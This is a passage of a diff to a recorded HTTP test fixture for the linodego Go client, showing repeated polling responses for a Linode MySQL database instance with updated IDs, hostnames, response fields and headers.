Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:08:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20149,7 +25161,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20165,17 +25177,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -20188,16 +25201,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:08:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20213,7 +25229,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20229,17 +25245,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -20252,16 +25269,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:08:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20277,7 +25297,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20293,17 +25313,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -20316,16 +25337,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:08:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20341,7 +25365,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20357,17 +25381,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -20380,16 +25405,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:09:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20405,7 +25433,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20421,17 +25449,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -20444,16 +25473,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:09:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20469,7 +25501,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20485,17 +25517,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -20508,16 +25541,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:09:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20533,7 +25569,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20549,17 +25585,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -20572,16 +25609,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:09:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20597,7 +25637,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20613,17 +25653,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -20636,16 +25677,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:10:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20661,7 +25705,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20677,17 +25721,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -20700,16 +25745,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:10:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20725,7 +25773,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20741,17 +25789,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -20764,16 +25813,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:10:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20789,7 +25841,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20805,17 +25857,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -20828,16 +25881,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:10:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20853,7 +25909,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20869,17 +25925,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -20892,16 +25949,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:11:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20917,7 +25977,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20933,17 +25993,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -20956,16 +26017,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:11:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20981,7 +26045,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20997,17 +26061,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: 